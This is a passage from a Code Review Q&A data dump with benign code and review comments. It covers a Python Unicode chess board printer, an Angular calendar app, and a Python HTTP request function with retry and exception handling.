<code>ELEMENTS[&lt;color prefix&gt;][&lt;piece name&gt;]</code>.</p>\n\n<h1>Magic values</h1>\n\n<p>There are a few magic values like <code>'B'</code>, <code>'W'</code>, or <code>'0'</code>. They should be replaced with module level constants or an <a href=\"https://docs.python.org/3/library/enum.html\" rel=\"noreferrer\"><code>Enum</code></a>. From my experience this helps to avoid typos and makes it easier to change those values.</p>\n\n<h1>Numpy</h1>\n\n<p>From the code shown in your question, I don't think Numpy is the right tool for the job here. Numpy can play its strengths mainly when applying uniform operations to larger \"lumps\" of numerical data. A 2-dimensional chessboard with 8x8 fields where you mainly perform operations at distinct locations is likely not a good match for this description. Since there is also quite some conversion between Python and Numpy data types, there is a good chance that this overhead will decrease the performance compared to plain Python code.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:05:54.473", "Id": "231826", "ParentId": "231811", "Score": "7" } }, { "body": "<h1>numpy</h1>\n<p>In this case there is no need to use. For an 8 by 8 board, filled with strings, there is no advantage to using it, apart from the possibility to index row and column at the same time</p>\n<h1>enums</h1>\n<p>You have a few properties wich would be best presented as an <code>enum</code>. The color and the type of the piece</p>\n<pre><code>import enum\n\n\nclass Color(enum.Enum):\n WHITE = 0\n BLACK = 1\n\n\nclass Piece(enum.Enum):\n EMPTY = enum.auto()\n PAWN = enum.auto()\n ROOK = enum.auto()\n KNIGHT = enum.auto()\n BISHOP = enum.auto()\n KING = enum.auto()\n QUEEN = enum.auto()\n</code></pre>\n<h1>tuple</h1>\n<p>You have a <code>chrs</code> dictionary with keys that contain both the color and the piece. A better approach here would be to use tuples as keys</p>\n<pre><code>chrs = {\n (Color.WHITE, Piece.EMPTY): &quot;\\u25FB&quot;,\n (Color.WHITE, Piece.PAWN): &quot;\\u265F&quot;,\n (Color.WHITE, Piece.ROOK): &quot;\\u265C&quot;,\n (Color.WHITE, Piece.KNIGHT): &quot;\\u265E&quot;,\n (Color.WHITE, Piece.BISHOP): &quot;\\u265D&quot;,\n (Color.WHITE, Piece.KING): &quot;\\u265A&quot;,\n (Color.WHITE, Piece.QUEEN): &quot;\\u265B&quot;,\n (Color.BLACK, Piece.EMPTY): &quot;\\u25FC&quot;,\n (Color.BLACK, Piece.PAWN): &quot;\\u2659&quot;,\n (Color.BLACK, Piece.ROOK): &quot;\\u2656&quot;,\n (Color.BLACK, Piece.KNIGHT): &quot;\\u2658&quot;,\n (Color.BLACK, Piece.BISHOP): &quot;\\u2657&quot;,\n (Color.BLACK, Piece.KING): &quot;\\u2654&quot;,\n (Color.BLACK, Piece.QUEEN): &quot;\\u2655&quot;,\n}\n</code></pre>\n<h1>board</h1>\n<p>You keep a black and a white board. Better would be to keep one board, and just flip it at the time of presentation.</p>\n<pre><code>def board_begin():\n return (\n [\n [\n (Color.WHITE, Piece.ROOK),\n (Color.WHITE, Piece.KNIGHT),\n (Color.WHITE, Piece.BISHOP),\n (Color.WHITE, Piece.QUEEN),\n (Color.WHITE, Piece.KING),\n (Color.WHITE, Piece.BISHOP),\n (Color.WHITE, Piece.KNIGHT),\n (Color.WHITE, Piece.ROOK),\n ],\n [(Color.WHITE, Piece.PAWN) for _ in range(8)],\n *[[None] * 8 for _ in range(4)],\n [(Color.BLACK, Piece.PAWN) for _ in range(8)],\n [\n (Color.BLACK, Piece.ROOK),\n (Color.BLACK, Piece.KNIGHT),\n (Color.BLACK, Piece.BISHOP),\n (Color.BLACK, Piece.QUEEN),\n (Color.BLACK, Piece.KING),\n (Color.BLACK, Piece.BISHOP),\n (Color.BLACK, Piece.KNIGHT),\n (Color.BLACK, Piece.ROOK),\n ],\n ]\n )\n</code></pre>\n<p>Here I use <code>None</code> to represent an empty tile, and replace it by a white or black tile at the time of display.</p>\n<h1>flip board</h1>\n<p>If you use numpy to keep your board, you can <code>np.flip</code>, or a simple routine like this:</p>\n<pre><code>def flip(board):\n return [\n row[::-1] for row in reversed(board)\n ]\n</code></pre>\n<h1>display the board</h1>\n<p>Here a simple routine, which takes a boolean flag on whether to flip it:</p>\n<pre><code>def display_board(board, flip_board=False):\n for i, row in enumerate(board if not flip_board else flip(board)):\n row_strings = [\n chrs.get(tile, chrs[(Color((i + j) % 2), Piece.EMPTY)])\n for j, tile in enumerate(row)\n ]\n print(&quot;&quot;.join(row_strings))\n</code></pre>\n<p>using <code>dict.get</code> to replace the empty tiles by the correct squares</p>\n<hr />\n<pre><code>board = board_begin()\n</code></pre>\n<blockquote>\n<pre><code>[[(&lt;Color.WHITE: 0&gt;, &lt;Piece.ROOK: 3&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.KNIGHT: 4&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.BISHOP: 5&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.QUEEN: 7&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.KING: 6&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.BISHOP: 5&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.KNIGHT: 4&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.ROOK: 3&gt;)],\n [(&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.WHITE: 0&gt;, &lt;Piece.PAWN: 2&gt;)],\n [None, None, None, None, None, None, None, None],\n [None, None, None, None, None, None, None, None],\n [None, None, None, None, None, None, None, None],\n [None, None, None, None, None, None, None, None],\n [(&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.PAWN: 2&gt;)],\n [(&lt;Color.BLACK: 1&gt;, &lt;Piece.ROOK: 3&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.KNIGHT: 4&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.BISHOP: 5&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.QUEEN: 7&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.KING: 6&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.BISHOP: 5&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.KNIGHT: 4&gt;),\n (&lt;Color.BLACK: 1&gt;, &lt;Piece.ROOK: 3&gt;)]]\n</code></pre>\n</blockquote>\n<pre><code>display_board(board, flip_board=False)\n</code></pre>\n<blockquote>\n<pre><code>♜♞♝♛♚♝♞♜\n♟♟♟♟♟♟♟♟\n◻◼◻◼◻◼◻◼\n◼◻◼◻◼◻◼◻\n◻◼◻◼◻◼◻◼\n◼◻◼◻◼◻◼◻\n♙♙♙♙♙♙♙♙\n♖♘♗♕♔♗♘♖\n</code></pre>\n</blockquote>\n<pre><code>display_board(board, flip_board=True)\n</code></pre>\n<blockquote>\n<pre><code>♖♘♗♔♕♗♘♖\n♙♙♙♙♙♙♙♙\n◻◼◻◼◻◼◻◼\n◼◻◼◻◼◻◼◻\n◻◼◻◼◻◼◻◼\n◼◻◼◻◼◻◼◻\n♟♟♟♟♟♟♟♟\n♜♞♝♚♛♝♞♜\n</code></pre>\n</blockquote>\n<h1>Board class</h1>\n<p>If you want to incorporate moves etc, it might pay to make a Class of the board, with it's own display, <code>__getitem__</code> and move routines</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:26:14.783", "Id": "452365", "Score": "0", "body": "Just wanted to note that your output of the grid is presently wrong. When flipped, the squares should be also, not just the main units." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:43:00.280", "Id": "452371", "Score": "1", "body": "depends on what you mean with flip. Your code just mirrors it along an axis, but doesn't do a 180° rotation. If you look at [a chess board](https://en.wikipedia.org/wiki/Chessboard#/media/File:Chess_board_opening_staunton.jpg), both black and white have a white square at their bottom right corner. For white the king is on the right, for black on the left, so I think my board is correct" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:55:09.903", "Id": "452377", "Score": "0", "body": "I've added some pictures that should help w/ the visual reference. :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:39:41.293", "Id": "452395", "Score": "0", "body": "When I test displaying the board w/ `flip=True`, I get a `TypeError: 'bool' object is not callable` for some reason." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T23:32:49.007", "Id": "452444", "Score": "0", "body": "I renamed the flag to `flip_board` to solve this" } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:12:03.767", "Id": "231827", "ParentId": "231811", "Score": "12" } }, { "body": "<p><em>Python-specific</em> improvements:</p>\n\n<ul>\n<li><p>creating <code>bw_checkers</code> (in <code>get_checkers</code> function). Instead of appending repeatedly to previously created empty list:</p>\n\n<pre><code>for i in range(8):\n bw_checkers.append(bw_row if i % 2 == 0 else bw_row[::-1]) \n</code></pre>\n\n<p>use <em>old-good</em> list comprehension:</p>\n\n<pre><code>bw_checkers = [bw_row if i % 2 == 0 else bw_row[::-1] for i in range(8)]\n</code></pre></li>\n<li><p>composing string keys in <code>get_army()</code> function. Formatted strings <code>f\"\"</code> give a better visual perception:</p>\n\n<pre><code>...\nguard = [chrs[f'{u}_rook'], chrs[f'{u}_knight'], chrs[f'{u}_bishop']]\n</code></pre></li>\n<li><p><strong><code>get_board</code></strong> function. <br>Creating the initial board with <code>board = [squad for squad in get_army('B')]</code> is redundantly, but essentially the same as <code>board = get_army('B')</code>.<br>Appending 4 rows of 8 <code>0</code>s with:</p>\n\n<pre><code>for _ in range(4):\n board.append(['0'] * 8)\n</code></pre>\n\n<p>is flexibly replaced with <em>list multiplication</em>:</p>\n\n<pre><code>board += [['0'] * 8] * 4\n</code></pre>\n\n<p>or <code>board += [['0'] * 8 for _ in range(4)]</code> - to avoid <em>cross-mutability</em> if those rows happen to be modified in further potential game </p></li>\n<li><p><code>board.copy()</code> (in <code>print_board</code> function) is redundant as the <code>board</code> argument itself is created with <code>np.array(board)</code> (as new array)</p></li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:42:22.570", "Id": "231829", "ParentId": "231811", "Score": "6" } } ]
{ "AcceptedAnswerId": "231827", "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T03:08:32.330", "Id": "231811", "Score": "12", "Tags": [ "python", "python-3.x", "chess", "unicode" ], "Title": "Printing Command Line Unicode Chess Board" }
231811
<p>I just built a simple calendar app using angular 8. I would like to get some suggestions for improvements in the project. any feedback will be appreciated. I would like to know what I could have done better in the application in terms of both typescript code and overall app design. this is the github link for my project <a href="https://github.com/SagarMajumdar/calapparepo" rel="nofollow noreferrer">https://github.com/SagarMajumdar/calapparepo</a></p> <p>This is a custom calendar and i am using a JSON structure similar to this to show the calendar as well as the to do items for each day <a href="https://i.stack.imgur.com/KUSze.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/KUSze.png" alt="enter image description here"></a> calendar application screenshot <a href="https://i.stack.imgur.com/xEEzs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xEEzs.png" alt="enter image description here"></a></p> <p>the way calendar JSON is being contructed is as follows . The subscription is for when a new month and year is selected. </p> <pre><code> for (let i = 1; i &lt;= this.modays[this.yrmo.mo - 1].days; i++) { if (flg === 1) { this.dayStructure.days.push ( {cols: [ { day : i, dayname: this.weekdays[(new Date(this.yrmo.yr, this.yrmo.mo - 1, i - 1) ).getDay()].day, dayofweek : (new Date(this.yrmo.yr, this.yrmo.mo - 1, i - 1) ).getDay() + 1 , todos : this.getotodos(this.yrmo.yr, this.yrmo.mo, i) } ]} ); flg = 0; this.flagGotMoTodos = true; } else { this.dayStructure.days[rownum].cols.push( { day : i, dayname: this.weekdays[(new Date(this.yrmo.yr, this.yrmo.mo - 1, i - 1) ).getDay()].day, dayofweek : (new Date(this.yrmo.yr, this.yrmo.mo - 1, i - 1) ).getDay() + 1 , todos : this.getotodos(this.yrmo.yr, this.yrmo.mo, i) } ); } if ( (new Date(this.yrmo.yr, this.yrmo.mo - 1, i - 1) ).getDay() === 6 ) { flg = 1; rownum = rownum + 1; } } console.log('\n---------------------------------------------------------------\n'); this.dayStructure = this.fillblanks(this.dayStructure); </code></pre> <p>thanks</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:22:48.297", "Id": "452289", "Score": "0", "body": "I don't understand the schema of your json object. It has a field `days`, which has only 5 items. And why does each day have an array of columns? The days *are* the columns in the calendar. And then the inner-most structure, again has a day field. But you have an object where `day = 1` and `dayname = 'Fri'`, but how is then the next day `Mon` instead of `Sat`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:43:10.227", "Id": "452311", "Score": "0", "body": "The 5 cols of days field is for the 5 rows in the calendar for the month for which this JSON structure is taken" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:49:27.670", "Id": "452375", "Score": "0", "body": "i am checking the json structure for some possible issues. although not every property in each item of _cols_ is utilized , but there seems to be some issue with the unused properties." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:37:50.730", "Id": "452384", "Score": "0", "body": "@JAD I have made a few changes to the post. I put the new JSON structure . There was a bug earlier." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T05:26:08.997", "Id": "231813", "Score": "2", "Tags": [ "typescript", "angular-2+" ], "Title": "Need feedback for a anglar 8 simple calendar appplication with the abilily to show to dos" }
231813
<p>Please review my code where I want to handle the timeout errors and send parsed JSON response if any. There are times when a POST request does not <strong>ALWAYS</strong> return JSON code.</p> <pre><code>def use_service(branch: str, relative_url: str, request_type: str = 'GET', data=None, retry=1): """ :param – relative_url – the relative url to be submitted :param – request_type – the type of request being submitted (POST, GET, PUT, etc.) :param – data – the data to be submitted with the request if necessary. """ logger.info(f'getting data from {relative_url}') url = envs.get(branch, '') + relative_url resp = {} status = False for x in range(retry): try: if request_type == 'GET': print(f'GET call to {url}') resp = requests.get(url) elif request_type == "POST": print(f'POST call to {url}') if branch in envs.keys(): resp = requests.post( url, json=data, ) else: print(f'{branch} : Attempted to push data: {data}') status = resp.ok if resp.ok: resp = resp.json() print(f'{resp}') else: resp.raise_for_status() except HTTPError as err: logger.exception(f'HTTP Error: {err}') except Timeout as err: logger.exception(f'Connection timed out {err}') except ConnectionError: logger.exception(f'A network problem has occured (DNS failure, refused connection)') except RequestException as err: logger.exception(f'Other error occurred: {err}') except Exception as err: logger.exception(f'Unknown Exception: {err}') if not status: resp = [] return resp </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:42:29.867", "Id": "452292", "Score": "0", "body": "@AlexV Thanks for pointing it out. I have edited the code to be fully working." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:47:39.520", "Id": "452293", "Score": "0", "body": "@technazi, *POST request does not ALWAYS return JSON code* - what error is caught on that event?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:54:20.917", "Id": "452294", "Score": "0", "body": "The final exception block should catch it." } ]
[ { "body": "<h1>General Remarks</h1>\n\n<ul>\n<li>Avoid catching <code>Exception</code>, catch a specific exception instead to avoid silencing errors.</li>\n<li>Don't return the empty list as an indication of failure. Either return <code>None</code> or (preferably, in case of failure) raise an exception.</li>\n<li>It's nice to see you adopt typing as an important part of your code. I recommend being more consistent with it in places where you already use it, and using it even more. For example, two of the parameters in your function were not annotated, neither was the return value. Use type aliases to describe non-trivial types, such as input and output data of your requests (i.e., type of <code>data</code> and return type). A final example I'll show in the code is the use of enums instead of strings, which can prevent you from making mistakes.</li>\n<li>I'm not going to say the function is \"too complex\". Yet. But if it grows to handle more HTTP methods (say, <code>PUT</code>, <code>HEAD</code>, ...), or the handling of the existing HTTP methods grows, you should seriously consider decomposing it into multiple functions or by incorporating object-oriented design.</li>\n<li>Good job on the documentation attempt, but try to follow a set style in the future. Examples include <a href=\"https://www.python.org/dev/peps/pep-0287/\" rel=\"nofollow noreferrer\">PEP 287</a>, <a href=\"https://numpy.org/devdocs/docs/howto_document.html\" rel=\"nofollow noreferrer\">NumPy</a>, <a href=\"https://google.github.io/styleguide/pyguide.html#38-comments-and-docstrings\" rel=\"nofollow noreferrer\">Google</a>. A general guideline is given in <a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"nofollow noreferrer\">PEP 257</a>. This includes advantages such as consistency and automated generation of HTML docs using e.g. <a href=\"https://www.sphinx-doc.org/en/master/\" rel=\"nofollow noreferrer\">sphinx-doc</a>.</li>\n<li>Some of the control flow is a bit confusing. I've made edits to improve it (see below) and noted some explanations of the issues. I generally recommend you to investigate these further while writing the code.</li>\n<li>I highly recommend you to read a style guide and stick to it, if you haven't already. I also suggest installing a linter so that you can be warned of dubious code style and possible bugs while writing the code. I'm fairly sure a linter would've complained about quite a bit of the remarks I'll give below. I'll give a concrete recommendation for a linter at the end of this answer.</li>\n</ul>\n\n<p>Further recommended reads:</p>\n\n<ul>\n<li>The Zen of Python (<a href=\"https://www.python.org/dev/peps/pep-0020/\" rel=\"nofollow noreferrer\">PEP 20</a>).</li>\n<li>PEP8 style guide (<a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8</a>), although you can occasionally find me diverging from the guidelines.</li>\n</ul>\n\n<p>To apply a couple of quotes from PEP 20:</p>\n\n<blockquote>\n <p>Errors should never pass silently.</p>\n</blockquote>\n\n<p>Your <code>except Exception as err:</code> guard would catch most of the exceptions that exist in Python, and thus also catches a potential <code>AttributeError</code> that may occur in your code. See my comments in the code for more details.</p>\n\n<blockquote>\n <p>In the face of ambiguity, refuse the temptation to guess.</p>\n</blockquote>\n\n<p>I've had to guess multiple times to come to a purpose for some parameters, either because non-descript names, or because of missing type information. E.g., without looking at the function body, can I know whether I can pass a list as the <code>data</code> parameter? What is the <code>branch</code> parameter?</p>\n\n<h1>Personal Remarks</h1>\n\n<p>A couple of personal pet peeves related to your code:</p>\n\n<ul>\n<li>Work on your variable names. I personally dislike names like <code>data</code> or <code>resp</code> since they don't really give much information. Similarly, the <code>retry</code> parameter is a bit misleading. Ideally, variable names should give me all the information required to understand their purpose (although this is often not possible when keeping them brief). Additionally, I'd like better names for <code>err</code>, but I name my caught exceptions <code>exc</code> too often so I'm not in a position to critique that <code>:)</code></li>\n<li>Don't spam the user with info logs that should be debug logs. The user doesn't care that your function is doing this or that. I suspect these may be debugging statements (use a debugger!), so use <code>logger.debug</code> so you don't have to change it later. Definitely never use <code>print</code>, since disabling that is non-trivial.</li>\n</ul>\n\n<p>I've left a bunch of comments in your code while I was reading through it, and I've also rewritten a couple snippets to illustrate the difference.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>\"\"\"Modules should always start with a docstring describing their exports.\n\nSince this is just a snippet of one function, I'm assuming your module has one.\nIf not, write one.\n\"\"\"\nfrom typing import Any, Optional\n\nimport enum\nimport os\nfrom json.decoder import JSONDecodeError\n\nimport requests\nfrom requests.exceptions import HTTPError, RequestException, Timeout\n\n\n# COMMENT: If I left these here, ignore these, they are just to make the code\n# run.\nclass Logger:\n \"\"\"Logging stub for review.\"\"\"\n\n def debug(self, msg: str) -&gt; None:\n print(msg)\n\n def info(self, msg: str) -&gt; None:\n print(msg)\n\n def warn(self, msg: str) -&gt; None:\n print(msg)\n\n def exception(self, msg: str) -&gt; None:\n print(msg)\n\n\nlogger = Logger()\nenvs = os.environ\n\n\n# COMMENT: Prefer custom data types for enumerated data instead of simple\n# string literals such as 'get', 'post', ... This way, mistakes can be caught\n# early by static analysis tools such as mypy, e.g. misspelling 'post' as\n# 'psot'.\nclass RequestMethod(enum.Enum):\n \"\"\"Enumeration of various request methods.\"\"\"\n\n GET = 1\n POST = 2\n # PUT, DELETE, OPTION, HEAD, ...\n\n\nResponseType = Any # TODO: Update the response type.\n\n\n# COMMENT: PEP8 dictates line length to be limited to 79 characters. I,\n# personally, feel like this is too short, yet this serves as an example of a\n# possible method of breaking up your function signatures in case of overly\n# long lines. This allows you to specify your types and default values so that\n# they stand out immediately. Parameters are indented at two increments in\n# levels, and the return type indented at the same level as the function name.\n# This way, you can not confuse the return type signature, the parameter list,\n# or the body of the function.\ndef use_service(\n branch: str,\n relative_url: str,\n # COMMENT: Nitpicky, but the correct terminology is \"request method\",\n # not \"request type\": https://tools.ietf.org/html/rfc7231#section-4\n # Both are pretty much used interchangeably though.\n request_method: RequestMethod = RequestMethod.GET,\n # COMMENT: Try to annotate all of your parameters, even those with\n # default values. Especially for `data`, which has a default value of\n # `None`, a type hint can be useful documentation. Additionally, mypy,\n # the state-of-the-art static type checker for Python, is sometimes\n # unable the parameter type, even if there are default values.\n # COMMENT: Give your parameters descriptive names. `data` is too\n # generic of a word. `retry` is less generic, and from just looking at\n # the name, I can get an idea of its purpose, but explicitly calling it\n # \"number of tries\" makes it immediately clear what the full purpose\n # is without reading the documentation.\n post_data: Optional[Any] = None,\n num_tries: int = 1\n # Always document your return types. mypy WILL complain about it if run\n # in strict mode.\n) -&gt; Optional[ResponseType]:\n \"\"\"Perform a request and retry if it failed.\n\n Perform a request of type ``request_type`` to the given ``relative_url``\n and return the parsed JSON response. If the request fails for any reason,\n retry it until ``num_tries`` tries have been performed. For ``POST``\n requests, the sent data is to be supplied by the ``post_data`` parameter.\n\n .. todo:: Document the purpose of the ``branch`` parameter.\n\n :param branch: ???\n :param relative_url: The relative URL to be submitted.\n :param request_type: The type of request being submitted.\n :param post_data: The data to be submitted with the request, if necessary.\n :param num_tries: The number of times the request should be tried before\n giving up.\n :returns: The parsed JSON response, or `None` if the request failed after\n all tried attempts.\n\n \"\"\"\n # COMMENT: Documentation is often overlooked but vital, both for you as\n # well as your colleagues. In my opinion, good documentation for a function\n # contains three things:\n # 1. A brief description of what the function does.\n # 2. An overview of the parameters I should/can give it, as well as their\n # purpose.\n # 3. A description of what I can expect to receive from the function as\n # a return value.\n # See PEP257 for docstring conventions.\n # I've rewritten the documentation into a more machine-readable format,\n # reST. It can be parsed and used to generate HTML documentation by tools\n # such as sphinx-doc. Very useful when writing an API.\n # Documentation often also includes type information on the parameters and\n # the return type. This is vital. However, I've emitted this from the\n # docstring since such information is already available as type hints.\n # Sphinx has plugins to extract type information from type hints.\n # COMMENT: This should really be a debug statement rather than info. Also,\n # I'm assuming the logger is imported/constructed somewhere outside of the\n # snippet provided.\n logger.debug(f'getting data from {relative_url}')\n\n # COMMENT: What is `envs`? If it's just accessing environment variables,\n # consider using `os.environ` instead, especially if its a third-party\n # package.\n # COMMENT: The `url` variable can get a name improvement, IMO.\n url = envs.get(branch, '') + relative_url\n # COMMENT: These variables are now useless. They could've also used a\n # better name.\n # resp = {}\n # status = False\n\n # COMMENT: Although this loop works, it would ALWAYS retry, regardless of\n # there being any exceptions. If the request was fine, it would do it again\n # if `num_tries` is high enough. I've renamed the parameter to `num_tries`\n # instead of `num_retries` so that a `num_tries` value of 2 will try twice.\n # For a parameter named `num_retries` given value 2, I would expect the\n # request to be performed at most 3 times: Once initially, and two REtries.\n # COMMENT: We don't use variable `x` anywhere in the loop. Use an\n # underscore instead so that it is not tied to a variable.\n for _ in range(num_tries):\n try:\n # COMMENT: Because we use an enum, we can now compare literally,\n # which is more efficient than string comparisons and decreases\n # the change of misspellings.\n # COMMENT: Since these handlers are short, I'll allow it, but if\n # you get more options and longer code, consider using classes\n # and polymorphism. E.g.:\n # req_maker = some_way_of_obtaining_an_object(req_method)\n # req_maker.perform(url)\n if request_method is RequestMethod.GET:\n # COMMENT: You changed these to prints in the edit, I changed\n # them back to logger calls. As a rule of thumb: Use a logger,\n # never print. Exceptions should be rare and only for small\n # personal scripts. I also changed them to debug logs, since\n # they're not informative to the user.\n logger.debug(f'GET call to {url}')\n # COMMENT: `resp` can get a better name, more descriptive of\n # its purpose. I'm assuming here you're contacting a REST API.\n api_resp = requests.get(url)\n elif request_method is RequestMethod.POST:\n logger.debug(f'POST call to {url}')\n if branch in envs.keys():\n # COMMENT: In cases like these, indent your arguments with\n # two levels, so that you don't confuse it for a new block\n # in the body. Also, there's plenty of controversy over\n # where to put the closing parenthesis in these cases,\n # and whether or not to allow a comma after the final item.\n # I'm personally not a fan, but that's just me.\n api_resp = requests.post(\n url,\n json=post_data,\n )\n else:\n # COMMENT: Some style guides disallow the usage of string\n # interpolation, I don't personally mind it.\n logger.warn(\n f'{branch} : Attempted to push data: {post_data}')\n # COMMENT: You should really do *something* other than just\n # logging here. In your original code, here, `resp` would\n # not get defined, and thus the next line (`resp.ok`) would\n # fail with an `AttributeError`, which would get caught as\n # an \"Unknown exception\", and potentially retry the loop\n # because of this bug.\n # It seems like this is an unrecoverable problem with the\n # input, so it's better to just return and stop the rest\n # of the evaluation of the function. Even better: Raise an\n # exception.\n return None\n\n # COMMENT: I'm going to completely rewrite this part.\n # status = api_resp.ok\n # if api_resp.ok:\n # resp = api_resp.json()\n # print(f'{resp}')\n # else:\n # resp.raise_for_status()\n\n # `raise_for_status` raises an exception if status != 2xx.\n # In your original code, you first check the status, and if the\n # status != 2xx, you call `raise_for_status`, which itself checks\n # if status != 2xx and raises. Why?\n api_resp.raise_for_status()\n # This may throw an exception. As you mention, the API \"does not\n # ALWAYS return JSON\", so you should expect exceptions. You should\n # expect parsing errors anyway if relying on external data.\n json_resp = api_resp.json()\n logger.debug(json_resp)\n # Return the data early instead of assigning to a variable\n # returning it at the end of the function. This breaks free from\n # the loop, thus immediately fixing the issue with too many tries\n # in the loop.\n return json_resp\n # Let's get to the exception handling...\n # COMMENT: It should come as no surprise now, I don't like `err`.\n # Either use something like `http_err` or just simply `e`, the standard\n # convention.\n except HTTPError as err:\n logger.exception(f'HTTP Error: {err}')\n except Timeout as err:\n logger.exception(f'Connection timed out {err}')\n except ConnectionError:\n # COMMENT: Don't use the `f` prefix if you're not interpolating.\n # COMMENT: Split the string for line length. Remember that this\n # works without requiring a `+`.\n logger.exception(\n 'A network problem has occured '\n '(DNS failure, refused connection)')\n except RequestException as err:\n logger.exception(f'Other error occurred: {err}')\n # COMMENT: Don't catch Exception. Many style guides will discourage you\n # from doing this. `Exception` covers most of the possible exceptions\n # in Python programs, including `AttributeError`, which caused the bug\n # in the `else` branch of the POST request handler.\n # except Exception as err:\n # logger.exception(f'Unknown Exception: {err}')\n\n # COMMENT: Explicitly catch JSONDecodeError so you can handle JSON\n # parsing errors explicitly.\n except JSONDecodeError as e:\n logger.exception(f'Failed to parse JSON: {e}')\n\n # COMMENT: When you have nothing meaningful to return from a function,\n # either don't return anything, or explicitly return `None`. Returning the\n # empty list is confusing: What if the response JSON was actually an empty\n # list? We'd have no way of discriminating a failure from an empty\n # response!\n # Better yet, we should raise an exception if all tries failed.\n return None\n</code></pre>\n\n<h1>Wrapping Up</h1>\n\n<p>The improvements I've proposed definitely leave a lot of room for further improvement. Especially if you're planning on extending the functionality shown (which, likely, you will or even have to, given the nature of the code), I <em>highly</em> recommend to start <em>decomposing</em> now. For example, extract handling code for each of the HTTP methods into its own individual function, and perform some efficient dispatching by either putting the functions in a dict with keys corresponding to the HTTP methods, or implementing it using OO and polymorphism. The former is likely the better approach for this code, opting for the latter is a good idea if you plan on adding lots of functionality to these requests.</p>\n\n<h1>Bonus: Linter</h1>\n\n<p>If you want my recommendation for a Python linter, I run <code>flake8</code> on my personal code with the following plugins:</p>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>flake8 --version\n3.7.9 (aaa: 0.6.2, cohesion: 0.9.1, flake-mutable: 1.2.0, flake8-annotations-complexity: 0.0.2, flake8-annotations-coverage: 0.0.3, flake8-bandit: 2.1.2, flake8-blind-except: 0.1.1, flake8-broken-line: 0.1.1, flake8-bugbear: 19.8.0, flake8-comprehensions: &lt;cached_property.cached_property object at 0x10e93d350&gt;, flake8-docstrings: 1.5.0, pydocstyle: 4.0.1, flake8-eradicate: 0.2.3, flake8-pie: 0.2.2, flake8-print: 3.1.4, flake8-pyi: 19.3.0, flake8-string-format: 0.2.3, flake8-tidy-imports: 2.0.0, flake8-todo: 0.7, flake8-tuple: 0.4.0, flake8-variables-names: 0.0.1, flake8_builtins: 1.4.1, flake8_pep3101: 1.2.1, flake8_quotes: 2.1.0, import-order: 0.18.1, logging-format: 0.6.0, mccabe: 0.6.1, naming: 0.8.2, pycodestyle: 2.5.0, pyflakes: 2.1.1, rst-docstrings: 0.0.10, warn-symbols: 1.1.1) CPython 3.7.5 on 